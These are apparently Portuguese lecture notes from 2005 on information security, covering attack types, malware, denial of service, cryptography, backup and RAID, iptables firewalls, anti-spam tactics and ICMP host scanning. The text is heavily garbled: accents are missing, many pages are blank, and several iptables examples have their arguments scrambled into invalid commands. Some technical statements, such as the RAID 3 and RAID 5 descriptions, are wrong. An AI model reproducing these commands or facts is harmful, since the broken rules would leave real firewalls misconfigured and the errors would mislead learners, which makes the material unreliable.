Escolar Documentos
Profissional Documentos
Cultura Documentos
Data: 04.03.2005
Pgina 1 de 71
Pgina 2 de 71
1) Conceitos Bsicos
O Termo "Segurana", segundo a ISO 7498-2, utilizado para especificar os fatores necessrios para minimizar a vulnerabilidades de bens e recursos e est relacionada a necessidades de proteo contra acesso ou manipulao das informaes confidenciais e utilizao dos recursos de processamento de forma no autorizada. Da mesma forma "Vulnerabilidade" utilizada para especificar qualquer fraqueza que pode ser explorada para violar um sistema ou as informaes que ele contem. A necessidade de proteo deve ser definida tendo como base as possveis Ameaas as quais o ambiente est exposto, e deve ser formalizado em um documento oficial denominado Poltica de Segurana.
Pgina 3 de 71
um ataque de senha para se ter acesso ao sistema; 3. Engenharia social: consiste em se passar por uma outra pessoa com o objetivo de coletar informaes para proferir o ataque em s (coleta de informaes privilegiadas); Recentemente tem-se utilizado principalmente o "e-mail" para a realizao desta tcnica. Esta tcnica uma forma incrvelmente eficaz de se reunir informaes sobre um dado ambiente u sistema alvo; 4. Quebra de senha: tem por finalidade obter as senhas de acesso ao sistema, ou de uma conta em especial. As principais tcnicas que podem ser empregadas so: Fora bruta; Dicionrio; Combinao de palavras;
Como no existem senhas 100% seguras uma questo de tempo at que um software de quebra de senha consiga descobrir uma senha. 5. Filtragem de Pacote (packet sniffing): almeja a coleta de nomes de usurio e senhas que trafegam de forma no protegida pela rede; e outros tipos de informaes pertinentes para o invasor; 6. Varredura ICMP - Pinging : esta tcnica utilizada para determinar os possveis alvos para um determinado ataque, mas tambm pode ser utilizada por Administradores de Rede para realizar o monitoramento da mesma; 7. Scanner de Portas: consiste na determinao de quais servios de rede esto ativos nos hospedeiros da rede, bem como da identificao das principais vulnerabilidades a que estes hospedeiros esto sujeitos. Ao identificar o endereo de um hospedeiro ativo, o invasor pode utilizar este valor para forjar um ataque sem ser identificado 8. Coleta do Finger Printing de um hospedeiro; 9. Cdigo malicioso (malware): programas desenvolvidos com objetivo de "furto" de informaes ou at mesmo danificao dos sistemas.
Pgina 4 de 71
Pgina 5 de 71
9. Negao de Servio
momentaneamente. Existem basicamente dois tipos de ataques desta categoria o DoS e o DDoS, este segundo, se baseia no envio de uma grande quantidade de pacotes para um alvo de forma coordenada a partir de vrias origens. Devido a uma fragilidade do TCP (Transmission Control Protocol) os endereos da origem dos pacotes so normalmente forjados. Sendo que os tipos mais comuns de DoS se baseiam na prerrogativa que o cliente tem que aceitar a conexo e na limitao de que um servio tem que aceitar um nmero de conexes por vez. Um dos cuidados que devem ser tomados quando da configurao dos equipamentos de rede que eles no possam ser usados como fontes de ataques, bem como contra os ataques propriamente ditos, uma das formas de se fazer a segunda parte e retirar os servios que no esto sendo utilizados, outra forma realizar uma constante verificao do trfico do site, assim sendo, quando uma atividade anormal for detectada, uma atitude correspondente deve ser adotada, como por exemplo bloquear um endereo de IP.
Pgina 6 de 71
2) Malware
Desde novembro de 1988, quando Robert Morris lanou seu verme na internet, a mdia apresentou o cdigo malicioso como se fosse um desastre natural, o que no deixa de ser uma verdade, visto seus efeitos e como as pessoas se comportam. Os vrus, alm de serem desastrosos para a produtividade de uma empresa, devido ao seu comportamento epidmico, ele pode consumir uma sensvel parte da largura de banda de uma rede de computadores. Atualmente existe mais de 40.000 tipos distintos de vrus registrados. Dos vrus conhecidos trs se destacam pelo seu poder destrutivo e pelo seu modo de operao. O vrus Melissa, desenvolvido por David Smith em 1999, causou um dano total de US$ 80 mil. Americano (D.O.D). Um dos motivos de rpida proliferao do Vrus "I love you" foi causada pelo uso do catlogo de endereos do Microsoft Outlook Express, e por explorar a curiosidade do usurio. Como acontece no mundo real a cura para estas pragas est sempre um passo atrs do seu desenvolvimento. E atualmente os vrus deixaram de ser um pequeno incomodo, se tornando uma real ameaa para a comunidade comercial. O vrus "I love You" causou um dano total de US$ 10 bilhes e desativou mais de 10.000 empresas, incluindo o Departamento de Defesa Norte
Pgina 7 de 71
grupos de risco de contaminao. Atualmente, muitos vrus no necessitam que o usurio executem um arquivo anexado, basta abrir o e-mail ou visitar um site que o mesmo automaticamente acionado.
Pgina 8 de 71
Pgina 9 de 71
ocorrer uma infeco ou do lanamento do novo arquivo de assinaturas. Mas os investigadores podem oferecer falsos positivos, contudo este problema tem sido gradativamente reduzido. Os Monitores de Atividade observam as aes que esto sendo executadas no computador, e quando ocorre uma ao suspeita, o monitor envia um alerta para o usurio, pedindo que o mesmo aceite ou rejeite a execuo do cdigo, o que pode gerar certo nvel de inconvenincia ao usurio. Os Verificadores de Integridade guarda informaes detalhadas sobre os arquivos do computador e setores do sistema. Isso permite que ele possa determinar quando so feitas mudanas e ento emitir um alerta ao usurio. Os softwares antivrus podem ser executados em trs locais distintos:
No Desktop protegendo localmente os dados, mas pode ser facilmente desabilitado pelo usurio;
Nos Servidores garante maior nvel de segurana para os dados da rede, mas podem sobrecarregar a operao do servidor;
Nos Gateways da Rede evita a entrada e sada de softwares maliciosos da rede. Pode gerar um atraso na comunicao, contudo seu uso altamente recomendado.
Pgina 10 de 71
Pgina 11 de 71
Os hackers podem automatizar estes ataques atravs dos Zumbis que so sistemas previamente comprometidos para um ataque. Este tipo de ataque pode caracterizar um DDOS, no qual o invasor no pode ser diretamente rastreado. Novos Zumbis so facilmente alertados, pois cada vez mais existem pessoas com acesso de banda larga, nas quais conectam seus computadores de forma protegida para um longo perodo de tempo. Dentre as ferramentas utilizadas pelos hackers podemos destacar o Tribal Flood Network e o Trin00. Tipos de ataque: 1) Ataque Smurf : uma rede com pedidos Packet Internet Groper (PING), neste caso a rede sobrecarregada com uma grande quantidade de pedidos e replicar de ping; 2) Ataque Fraggle : este ataque usa o protocolo UDP User Datagram Protocol da mesma forma que o ataque smurf; 3) Ataque de Inundao de SYN: cliente e servidor trocam uma srie de mensagens a fim de estabelecer uma conexo. O primeiro pacote o SYN (abreviao synchroneze sincronizar). O n da rede responde ao cliente com uma mensagem SYN-ACK (synchronize acknowledgment confirmao de sincronizao).. Durante o ataque o hacker no envia a confirmao (ACK) deixando o host aguardando com uma conexo meio alerta. Quando o host atinge seu limite de conexes, ele passa a recusar quaisquer conexes que chegarem, incluindo as vlidas. Estas conexes alertas iro expiar o trmino do ataque e a negao do servio terminar. O anonimato de um ataque de Negao de Servio torna-o um ataque pouco visvel, mas com elevados danos publicidade e imagem da empresa. Apesar de serem fceis de se gerar, so difceis de se impedir, a nica coisa que pode ser feita tornar sua rede mais difcil de atacar e seus computadores de se tornarem Zumbi.
Pgina 12 de 71
Pgina 13 de 71
Pgina 14 de 71
Pgina 15 de 71
4.1.2) Esteganografia
Esconder uma mensagem secreta em outra mensagem. Exemplos: 1) Tinta invisvel - mensagem publica usando tinta normal e a secreta usando tinta invisvel; 2) Imagem grfica: 1) Incluir uma mensagem secreta dentro de uma figura.; 2) Ou em se cabealho de dados.
Pgina 16 de 71
(4) Reescrita da cifra = seguindo-se as colunas verticalmente. TIUNO HMMSN IPNPC SLAOI IERSP SCTIH AORTE SLAIR Verses mais sofisticadas usam padres mais complexos, como ziguezague pela grade. Como as palavras esto mantendo a mesma freqncia, esta tcnica facilmente detectada e quebrada.
Pgina 17 de 71
Exemplo de algoritmos: 1) DES Data Encyptron Standard; 2) Triple DES; 3) IDEA International Data Encyption Algorithm; 4) Blowfish; 5) Rot 13 6) RCS. Estes algoritmos podem ser de dois tipos: 1) Algoritmos de Fluxo que trabalham com o texto um byte por vez; 2) Algoritmos de Bloco trabalham sobre blocos de tamanha fixo.
Os sistemas simtricos so mais simples e mais rpidos do que aqueles de chave pblica (1.000 vezes mais rpido), mas possui a desvantagem de que dois usurios distintos tenham conhecimento do mesmo segredo (chave). Ambos os usurios so responsveis pela segurana da chave.
O uso destas chaves permite o estabelecimento da conexo segura entre duas entidades sem o prvio conhecimento das chaves. Visto que quando uma entidade X precisa enviar uma mensagem para Y, ela usa a chave pblica de Y, para cifrar a mensagem e somente a entidade Y ser capaz de decifrar a mensagem, pois somente ela conhece a sua chave privada.
Pgina 18 de 71
Alm da confidenciabilidade, os criptossistemas podem ser estilizados para a autenticao, verificao de integridade e reconhecimento. 1) Autenticao permite garantir que uma pessoa quem realmente afirma ser; 2) Integridade garante que os dados no foram alterados durante a transmisso; 3) Reconhecimento garante que o emissor de dados uma pessoa especfica, e que o destinatrio realmente recebeu os dados. Impede o repdio de informaes.
Pgina 19 de 71
O processo das Assinaturas Digitais se baseia na existncia de duas chaves, uma pblica e uma privada. Neste caso, o remetente codifica a mensagem utilizando a sua chave privada e somente o usurio que possui a sua chave pblica poder ler a mensagem. Uma assinatura digital possui as seguintes propriedades: 1. Garante a Autenticidade; 2. No pode ser forjada; 3. No reutilizvel; 4. No pode ser repudiada. 5. Vlida certificados; 6. Pode ser utilizada em assinaturas eletrnicas; 7. Autentica, verifica a integridade e faz o reconhecimento de mensagem; 8. Pode ser utilizada como Hash de um documento; Algoritmos: 1) RSA; 2) Digital Signature Algotithm (DSA); 3) Digital Signature Standard (DSS). Usa a chave privada para assinar o documento, e o destinatrio usa a sua chave pblica para verificar sua assinatura.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 20 de 71
4.3.1.5) Kerberos:
1) Servio de autenticao (MIT); 2) Cifras para codificao e autenticao; 3) Constitudo de um Banco de Dados de Cifra; 4) Aps o login, gera e distribui as chaves de sesso; 5) Quando o autenticador quebrado todo sistema pode entrar em colapso; 6) No indicado para uso entre domnios de segurana.
Pgina 21 de 71
5) Backup
atravs do processo de backup que podemos garantir a segurana de vrios tipos de dados. Este processo consiste em realizar uma cpia total ou parcial de forma on-line ou off-line dos dados armazenados nas estaes de trabalho e/ou nos servidores de um determinado ambiente. Contudo, dependendo as caractersticas do ambiente e das necessidades presentes do mesmo o processo de backup pode variar largamente, deste modo, se faz necessrio o uso de critrios para determinar a melhor forma para sua realizao. Deste os critrios que podem influenciar o processo de backup so: 1. A quantidade de dados a serem protegidos; 2. A freqncia com que os dados devem ser copiados; 3. Tempo de realizao do backup e do restore dos dados; 4. A confidencialidade fornecida pelo processo; 5. O custo do processo e o valor das informaes; 6. O prejuzo gerado pela perda parcial ou total dos dados.
As fitas magnticas so as mdias mais comuns, mais baratas utilizadas nos backups off-line, mas por outro lado so as mais lentas e que ocupam um grande espao. Seus principais tipos so: 8mm, Travan, DLT, DAT e Magstar O armazenamento tico muito popular em ambientes onde a velocidade e a confiabilidade so as maiores preocupaes, estes ambientes fazem uso de servidores com jukboxes ticos de alta disponibilidade que so solues caras porem muito eficientes. Os arrays de discos ou simplesmente RAIDs (Redundant Array of Independet Disks) so um subsistema de discos rgidos que melhoram o desempenho e a tolerncia a falhas, uma vez que os dados so gravados em mais de um disco ao mesmo tempo. Estas solues podem ser tanto implementadas em software quanto em hardware. Neste caso quando uma unidade de disco falha o administrador do sistema pode substitui-la, em alguns casos, sem parar o funcionamento do servidor. Os principais tipos de RAID so:
RAID 0 : este nvel realiza um join dos discos, ou seja, ele combina todos os discos em uma nica unidade lgica, til quando desejamos aumentar a capacidade de armazenamento de dados;
RAID 1: realiza o espelhamento de um disco em um outro, nesta soluo um dos discos fica inativo, apenas recebendo os dados do disco mestre at que ele falhe. Este nvel oferece uma boa tolerncia a falhas, visto que ao ocorrer a falha de um disco os usurios so automaticamente redirecionados para o antigo disco escravo;
RAID 3: tambm implementa um espelhamento s que neste caso trs ou mais unidades de disco so espelhadas em uma outra, este nvel tambm fornece tolerncia a falhas, uma vez que grava os bits de paridade em uma unidade dedicada e permite que os discos trabalhem em paralelo, fornecendo assim alto nvel de desempenho;
RAID 5: esta faz uso de trs unidades, em duas so armazenados os dados e na terceira os bits de paridade, sendo esta a soluo mais utilizada;
RAID 10: a combinao do RAID 1 e 0, ou seja, espelhamento e intercalao entre unidade de disco.
Pgina 23 de 71
A soluo de RAID fornece um melhor desempenho e tolerncia a falhas, mas de forma alguma substituir o processo de backup off-line. Vale lembrar que dois ou mais discos podem falhar ao mesmo tempo, perdendo o acesso total aos dados armazenados no array. Outra soluo de proteo aos dados o HSM (Hierarchical Storage Management), que um sistema automatizado para o gerenciamento de dados e espao em disco, muito utilizado em mainframes. Esta soluo monitora a capacidade das unidades e move os dados para as mdias de armazenamento prximo ou offline, mais lentas. O HSM pode mover os dados segundo sua idade, freqncia de uso ou baseado em outros critrios, permitindo deste modo uma migrao de dados automtica. Esta soluo relativamente cara e difcil de ser implementada. J as SANS (Storage Area Networks) ligam diretamente os servidores de dados as unidade de armazenamento, graas ao uso de um canal de fibra (fiberchannel), permite uma conexo de alta velocidade e implementa uma subrede de armazenamento, com isto libera a rede de produo do peso do backup de dados e economiza largura de banda . Alm disto oferecem alta velocidade, confiabilidade e gerenciamento centralizado. Por outro lado as NAS (Network Attached Storage) funcionam de forma semelhante aos servidores de arquivos, visto que esto conectados diretamente a rede ethernet e possuem sistemas operacionais embutidos nos equipamentos. Esta estrutura uma alternativa a incluso de unidades de dados nos servidores. Para garantir a segurana dos dados estes equipamentos implementas um dos nveis de RAID estudados anteriormente, mas backups de grades volumes de dados podem afetar a velocidade da rede. Esta soluo relativamente barata, simples e possui grande compatibilidade entre fornecedores.
Backup Completo: realiza uma cpia de todos os dados para a mdia, no importando o contedo do ltimo backup. Este tipo de backup normalmente possui periodicidade semanal;
Backup Incremental: salva os arquivos que foram alterados desde o ltimo backup. Neste processo o novo arquivo armazenado na mdia e o arquivo original no removido da mdia. No processo de restaurao devemos ter o ltimo backup completo e dos os backups incrementais desde ento. Este tipo de backup possui periodicidade
Pgina 24 de 71
diria ou menor;
Backup Delta: S faz a cpia dos dados reais que foram modificados nos arquivos, um processo de backup mais rpido e que ocupa menos espao nas mdias de backup, contudo o processo de restaurao mais lento e complexo. Tambm possui periodicidade diria ou menor;
Backup Diferencial: Copia todos os arquivos que foram alterados desde o ltimo backup completo, por este motivo ocupa mais espao nas mdias de backup e mais lento de ser gerado, contudo mais fcil de recupera-lo, sua execuo preferencialmente deve ser diria ou em intervalo menor. Para restaurar os dados a partir deste tipo de backup deve-se ter em mos apenas o ltimo backup completo e o ltimo backup diferencial
Pgina 25 de 71
6) Firewall
Vrias pesquisas mostraram que a Internet o principal ponto utilizado para realizar invases. Em 2002, segundo uma pesquisa feita pela mdulo, 43% das empresas sofreram algum tipo de ataque ou invaso. Em 2003, esta valor subiu para 77%. E os hackers brasileiros so internacional considerados como os melhores do mundo. Outro fator importante que ... quanto mais tempo ficamos conectados internet, maiores so as chances de sermos invadidos ou infectados por malwares .... Isto tudo pois o Ipv4, verso atualmente em uso da pilha de protocolos TCP/IP, no foi projetado para assegurar a integridade das informaes e realizar o controle de acesso apropriado. Deste modo, a forma preferida de se violar uma rede tem sido o uso de pequenas falhas na implementao de servios e protocolos baseados no TCP/IP.
6.2) Histrico
Pgina 26 de 71
Pgina 27 de 71
mais conhecido o SQUID, que foi projetado para manipular os protocolos HTTP, HTTPS e FTP.
filter : responsvel pela filtragem de todos os pacotes que passam pelo host, no importando origem e destino;
nat : responsvel pelo controle dos pacotes que passam pelo host, mas cuja origem ou destino no o mesmo. Esta tabela utilizada quando desejamos utilizar o iptables para construir gateways de borda.
mangle : permite alterar caractersticas especficas do pacote, como por exemplo: o TOS (Tipo de Servio) o que permite implementar um sistema simples de QOS ( qualidade de servio).
Pgina 28 de 71
INPUT : fluxo formado pelos pacotes cujo endereo de destino o prprio host;
OUTPUT : fluxo dos pacotes originados pelos aplicativos e servios hospedados no host;
FORWARD: fluxo composto por todos os pacotes que chegam ao host mas que so destinados a outra mquina, que normalmente est na rede interna ou na DMZ. Logo este fluxo utilizado para permitir a realizao do NAT;
PREROUTING : que permite realizar alteraes nos pacotes antes que eles sejam roteados;
OUTPUT : possibilita o redirecionamento dos pacotes que foram emitidos pelo host;
-F : remove todas as regras de uma tabela sem alterar sua poltica padro; -N : cria nova nova chain na tabela especificada; -X : apaga todas as chains de uma determinada tabela;
Pgina 30 de 71
Pgina 31 de 71
iptables -P FORWARD DROP # # liberando a interface lo # iptables -A INPUT -i lo -j ACCEPT iptables -A OUTPUT -o lo -j ACCEPT
(b) Firewall para liberar o acesso no servidor web aos protocolos http e https:
# # definindo as regras padro # iptables -P INPUT iptables -P OUTPUT DROP ACCEPT
iptables -P FORWARD DROP # # definindo as regras de filtragem ao HTTP e HTTPS # iptables -A INPUT iptables -A INPUT -p tcp dport 80 -j ACCEPT -p tcp dport 443 -j ACCEPT
(c) Firewall para liberar o acesso servio http, para acesso externo ( eth1) e acesso pela intranet (eth0) na porta 8080.
Pgina 32 de 71
iptables -P FORWARD DROP # # definindo as regras de filtragem ao HTTP e HTTPS # iptables -A INPUT iptables -A INPUT -p tcp dport 80 -i eth1 -j ACCEPT -p tcp dport 443 -i eth0 -j ACCEPT
(d) Firewall para um servidor que hospeda os servios: http (80), https (443), imap (143), pop3 (110), smtp (25), ftp (21), ssh (22). De tal modo que, todos os servios possam ser acessados pela intranet (eth1) e os nicos servios que podem ser acessados pela internet (eth0) so o http e o https.
# # definindo as regras padro # iptables -P INPUT iptables -P OUTPUT DROP ACCEPT
iptables -P FORWARD DROP # # liberando acesso pela internet (eth0) # iptables -A INPUT iptables -A INPUT # # liberando acesso pela internet (eth1) # iptables -A INPUT iptables -A INPUT iptables -A INPUT iptables -A INPUT iptables -A INPUT iptables -A INPUT iptables -A INPUT -p tcp -p tcp -p tcp -p tcp -p tcp -p tcp -p tcp dport 80 -i eth1 -j ACCEPT dport 443 -i eth1 -j ACCEPT dport 143 -i eth1 -j ACCEPT dport 110 -i eth1 -j ACCEPT dport 25 dport 21 dport 22 -i eth1 -j ACCEPT -i eth1 -j ACCEPT -i eth1 -j ACCEPT -p tcp -p tcp dport 80 -i eth0 -j ACCEPT dport 443 -i eth0 -j ACCEPT
Pgina 33 de 71
proiba que qualquer pacote oriundo de nossa LAN (192.168.254.0/24) possa ser direcionado ao site www.sexo.com.br;
proiba que qualquer pacote oriundo do host www.cracker.com possa penetrar na nossa rede; permitir a entrada de pacotes oriundos do site www.cyberoots.org.br na nossa rede; todos os pacotes oriundos da interface eth1 do firewall devem ser redirecionados para o computador 192.168.254.254;
todos os pacotes que desejam sair (eth0) da rede local para outra rede, tenham seus endereos de origem alterados para 146.164.32.90;
todos os pacotes que tentam entrar na rede por uma interface diferente da eth0 devem ser descartados; o mesmo deve ocorrer com qualquer pacote que tente sair por uma interface diferente da eth2;
descarte todos os pacotes oriundos do ip 200.255.96.171 e destinado ao IP 192.168.254.7; todos os pacotes destinados a porta 23 do nosso firewall sejam registrados e posteriormente descartados;
# poltica padro # iptables -P INPUT iptables -P OUTPUT # # liberando o trfego na interface lo # iptables -A INPUT # # pacotes que entram no firewall # iptables -A INPUT -p tcp - -dport 23 -j LOG [firewall] acesso ao servio de telnet iptables -A INPUT -p tcp - -dport 23 -j DROP # # regras de forward # iptables -A FORWARD -s 192.158.254.0/24 -d www.sexo.com.br iptables -A FORWARD -s 200.255.96.171 iptables -A FORWARD -i ! eth1 -j DROP iptables -A FORWARD -o ! eth0 -j DROP # # regras de nat # iptables -t nat -A PREROUTING -i eth1 -j DNAT 192.168.254.15 iptables -t nat -A POSTROUTING -o eth1 -j SNAT 192.168.254.1 -d 192.168.254.7 -j DROP -j DROP iptables -A FORWARD -d 192.158.254.0/24 -s www.cyberoots.org.br -j ACCEPT -i lo -j ACCEPT -j ACCEPT iptables -A OUTPUT -o lo DROP ACCEPT
Pgina 34 de 71
J para conexo internet atravs de um endereo IP fixo e conhecido podemos utilizar uma regra como a que est abaixo:
Outra regra muito comum aquela usada para redirecionar uma conexo vinda da internet para a DMZ, como mostra a figura abaixo:
Pgina 35 de 71
Caso haja a necessidade de desabiluitar esta funcionalidade basta tocar o valor 1 para 0 do comando a cima, ou seja :
echo 0 > /proc/sys/net/ipv4/ip_forward
b) Qualquer pacote cuja origem o host 10.0.3.1 dever ter seu endereo de origem alterado para 192.11.22.33:
iptables -t nat -A POSTROUTING -s 10.0.3.1 -o eth0 -j SNAT - -to 192.11.22.33
c) Qualquer pacote cuja origem a rede 10.0.3.0/8 deve ter seu endereo de origem alterado para 192.11.22.33:
iptables -t nat -A POSTROUTING -s 10.0.3.0/8 -o eth0 -j SNAT - -to 192.11.22.33
d) Qualquer pacote cuja origem a rede 10.0.3.0/8 que sai pela interface eth0 deve ter seu endereo de origem alterado para qualquer um do intervalo 192.11.22.33-192.11.22.66:
iptables -t nat -A POSTROUTING -s 10.0.3.0/8 -o eth0 -j SNAT - -to 192.11.22.33-192.11.22.66
e) Qualquer pacote que venha do host 10.0.3.1 e entre na mquina pela interface eth0 deve ser redirecionado para o endereo 192.11.22.33:
iptables -t nat -A PREROUTING -s 10.0.3.1 -i eth0 -j DNAT - -to 192.11.22.33
f) Todos os pacotes que entrem pela interface eth0 devem ser redirecionados para um dos endereos do intervalo: 192.11.22.10 at 192.11.22.33:
iptables -t nat -A PREROUTING -i eth0 -j DNAT - -to 192.11.22.10-192.11.22.33
g) Todos os pacotes que entram pela interface eth2 e so destinados a porta 22 deve ser redirecionados para o host 192.11.22.1:
iptables -t nat -A PREROUTING -i eth2 -p tcp - -dport 22 -j DNAT - -to 192.11.22.1
Pgina 36 de 71
# # definindo as regras padro # iptables -P INPUT iptables -P OUTUP # # liberado o loopback # iptables -A INPUT -i lo -j ACCEPT # # filtando os pacotes # iptables -A INPUT -p tcp - -dport 22 -j ACCEPT iptables -A FORWARD -d 10.10.0.0/24 -j ACCEPT iptables -t nat -A PREROUTING -p tcp - -dport 80 iptables -t nat -A PREROUTING -p tcp - -dport 21 -j DNAT - -to 10.10.0.1 -j DNAT - -to 10.10.0.2 iptables -t nat -A PREROUTING -p tcp - -dport 443 -j DNAT - -to 10.10.0.1 iptables -t nat -A PREROUTING -p tcp - -dport 110 -j DNAT - -to 10.10.0.3 iptables -t nat -A PREROUTING -p tcp - -dport 995 -j DNAT - -to 10.10.0.3 iptables -t nat -A PREROUTING -p tcp - -dport 25 -j DNAT - -to 10.10.0.3 iptables -t nat -A PREROUTING -p tcp - -dport 465 -j DNAT - -to 10.10.0.3 iptables -t nat -A PREROUTING -p tcp - -dport 143 -j DNAT - -to 10.10.0.3 iptables -t nat -A PREROUTING -p tcp - -dport 993 -j DNAT - -to 10.10.0.3 DROP ACCEPT
Pgina 37 de 71
Pgina 38 de 71
7) SPAM
O SPAM, prtica to comum nos dias atuais, tem se tornado um problema para a maioria dos administradores de sistemas, desenvolvedores e usurios de internet, mas a medida que os filtros anti-spam evoluem as tcnicas utilizadas para burlar os filtros se desenvolvem mais rpido ainda. Uma tcnica que tem surtido efeito o uso da heurstica, mas seu ponto fraco apresentar uma grande quantidade de falsos positivos. Mas uma coisa certa muito administradores esto ajudando os inimigos, principalmente aqueles que devolvem as mensagens rejeitadas ao spammer que passam a ter certeza da existncia daquele e-mail. Mas alguns administradores esto fazendo sua parte, uma das medidas adotadas a adoo de servidores de SMTP que requerem a autenticao dos usurios antes de enviar o e-mail seu destinatrio. A seguir sero apresentadas algumas tcnicas que podem ser utilizadas para minimizar a ao dos spammer.
Pgina 39 de 71
Outra forma de se proteger inserir no cdigo html o e-mail utilizando os caracteres codificados e no os caracteres em s, por exemplo no lugar de usuario@exemplo.com.br deveramos utilizar:
usuari@exemp 08;o.com.br
Todos os navegadores existentes conseguem interpretar estes caracteres codificados, mas os robos utilizados pelos spammer no possuem ferramentas para interpretar estes caracteres, no ainda. Outra tcnica que pode ser utilizada so os java scripts, que tambm no so interpretados pelos robos, podemos por exemplo usa a funo documment.writer() para escrever o contedo do e-mail, que permitir aos usurios visualizarem o endereo mas que iro confundir as sondas de coleta, ainda neste sentido podemos colocar o endereo de e-mail em um arquivo externo. A criptografia tambm pode nos ajudar, uma forma bem simplria de resolver o problema utilizar a funo XOR da lgica matemtica para esconder o contedo do texto no cdigo e utilizar o java script para realizar a decodificao do endereo. Mesmo sem uma forma fraca de criptografia ela muito eficientes contra os robos dos spammers. Mas os clientes que no possuem o java script habilitado no podero visualizar o endereo de e-mail, contudo a grande maioria dos navegadores j possuem suporte a java script, basta ento solicitar ao usurio que o habilite em seu navegador. Mas quem falou que e-mail tem que ser representado na forma de texto puro? Se utilizarmos uma figura contendo o endereo de e-mail, como a maioria dos robos no verificam o contedos das figuras o endereo passar desapercebido. Todavia tambm podemos utilizar uma animao flash para a mesma finalidade, mas o flash nem sempre est instalado na mquina do visitante e ele ainda no foi portado para todas as plataforma que suportam o uso de navegadores web. Entretanto se o motivo de se expor o endereo de e-mail para que os visitantes possam entrar em contato, podemos trocar este endereo por um formulrio simples que pode ser usado para a mesma finalidade. Mas se seu objetivo descobrir quem est garimpando seu site atrs de endereo de e-mail, crie endereos de e-mails dinmicos, atravs de java script, de tal modo que ele contenha a data, hora e endereo ip de quem est acessando a pgina, logo ao receber um e-mail para endereos invalidos seu servidor de e-mail pode repass-los para uma conta especial que o administrador dever monitorar, com isto ser possvel determinar quem ou de onde os robos esto sendo disparados.
Pgina 40 de 71
ECHO ao n alvo e aguardar por uma resposta. Todo n ativo deve responder a esta mensagem com um pacote do tipo ICMP ECHO Reply . Quando um n no responde aos pacotes ICMP ECHO dentro de um intervalo de tempo (time-out), o mesmo pode estar desconectado ou sendo filtrado por algum firewall ou gateway de borda. Um exemplo de varredura via ICMP a utilizao do comando "ping" , que um aplicativo padro TCP/IP que est presente em vrias arquiteturas permite o envio de pacotes do tipo ICMP ECHO. para verificar se um n est ativo. Porm, esta forma de verificao no indicada para redes com mais do que poucas dezenas de ns. O ping sempre espera a resposda de um n ao pacote enviado, ou at que ocorra o time-out, antes de enviar um outro pacote. Uma alternativa ao ping o aplicativo fping, que utilitrio de rede disponvel para as plataformas Unix-Like e que funciona de forma anloga ao ping, mas com o envio de pacotes de forma paralela que utiliza a mesma tcnica, entretanto realiza o envio dos
Pgina 41 de 71
pacotes
varredura da rede. Outra funcionalidade deste aplicativo a possibilidade de se configurar o "time-out" da conexo. O uso do endereo de Broadcast e de Rede so duas alternativas que podem ser utilizadas neste tipo de varredura. Neste caso, todos os ns ativos na rede devem responder ao n que originou a mensagem com um pacote ICMP ECHO Reply. Desta forma, com um nico pacote possvel varrer todo um segmento de rede. Entretanto, esta tcnica s pode ser aplicada para ns baseados no Unix , uma vez que mquinas com sistema operacional da Microsoft no respondem a solicitao ICMP quando enviada ao endereo de Broadcast ou de Rede. Pois segundo a recebe. A varredura utilizando endereo de Broadcast ou Rede, pode provocar uma negao de servio ( D.o.S - Denial-of-Service) no n responsvel pelo envio dos pacotes ICMP ECHO. Esta negao de servio ocorre devido grande quantidade de pacotes de resposta que ele recebe para cada pacote ICMP gerado. Non-ECHO ICMP : Alm da mensagem ICMP ECHO, o protocolo ICMP implementa vrios outros tipos de mensagens que podem ser utilizadas na varredura da rede e em alguns casos no prprio mapeamento de dispositivos de rede. Dentre as principais mensagens ICMP pode-se destacar: ECHO ( Request - Tipo 8 , Reply - Tipo 0); Time Stamp ( Request - Tipo 13 , Reply - Tipo 14); Information ( Request - Tipo 15 , Reply - Tipo 16) e Address Mask ( Request - Tipo 17 , Reply - Tipo 18). O envio de mensagens do tipo ICMP Time Stamp Request utilizado normalmente, para questionar a um n a sua hora e data atual. Receber uma resposta ICMP Time Stamp Reply , significa que o n est ativo. Contudo, as mensagens ICMP Time Stamp Request no costumam ser respondidas por ns com um dos sistemas operacionais da Microsoft. O comportamento dos sistemas da Microsoft se deve forma como a RFC 1122 interpretada pelos seus desenvolvedores. A mensagem ICMP Address Mask Request utilizada por uma mquina sem disco, para obter a mscara de rede durante seu processo de boot e tambm pode ser utilizada para realizar a varredura da rede. Quando uma solicitao deste tipo feita atravs do endereo de Broadcast todos os ns foi RFC1122, se um pacote ICMP ECHO enviado via endereo de
Pgina 42 de 71
"reply"
com o
endereo solicitado. Normalmente este tipo de mensagem respondida por Gateways, Roteadores e em alguns casos por mquinas, que funcionam como agentes autorizados para o fornecimento de mscara de rede. ICMP Error Messages: Este mtodo consiste no envio de mensagens formatadas de tal modo que ao serem recebidas pelo n produziro uma mensagem de erro do protocolo ICMP. Uma das formas de se provocar uma mensagem de erro atravs do envio de pacotes IP que possuem em seu cabealho campos incorretos. Pacotes deste tipo normalmente geram uma mensagem de erro do tipo "ICMP Parameter Problem Error" , que normalmente possui o campo "Code" configurado para zero (0). Esta varredura permite identificar ns ativos, independentemente dos protocolos (TCP/UDP/ICMP) implementados por eles, que tambm pode ser empregada sobre roteadores. Contudo, roteadores realizam verificao mais relaxada dos campos do cabealho IP, como afirma a RFC1812 . Outra vantagem que, esta tcnica pode ser aplicada mesmo se o n est sendo filtrado por algum firewall , uma vez que as mensagens forjadas podem ser enviadas para portas especficas, como por exemplo, as portas TCP: 21, 25, 80 e UDP 53. ICMP Fragment Reassembly Time Exceeded : Quando um n recebe um datagrama fragmentado em vrios pacotes e ao remont-los percebe que esto faltando alguns pacotes, ele os "ICMP Fragment Reassembly Time aguarda por um determinado perodo de tempo, quando ento ir descartar todos os pacotes e enviar ao n que originou os datagramas, uma mensagem de erro do tipo: Exceeded" . ICMP Fragmentation Needed and Don't Fragment Bit was Set : Quando um roteador recebe uma mensagem, ele verifica o valor do campo "PMTU" , se este for maior do que o valor que ele est utilizando, o roteador pode retornar ao n, que gerou o pacote, uma mensagem de erro do tipo "ICMP Fragmentation Needed and Don't Fragment Bit was Set" . Utilizando esta tcnica, possvel determinar a existncia de Roteadores entre a mquina alvo e a mquina atual, bem como informaes especficas que podem ajudar determinar a suposta marca e modelo deste equipamento. uma
Pgina 43 de 71
Pgina 44 de 71
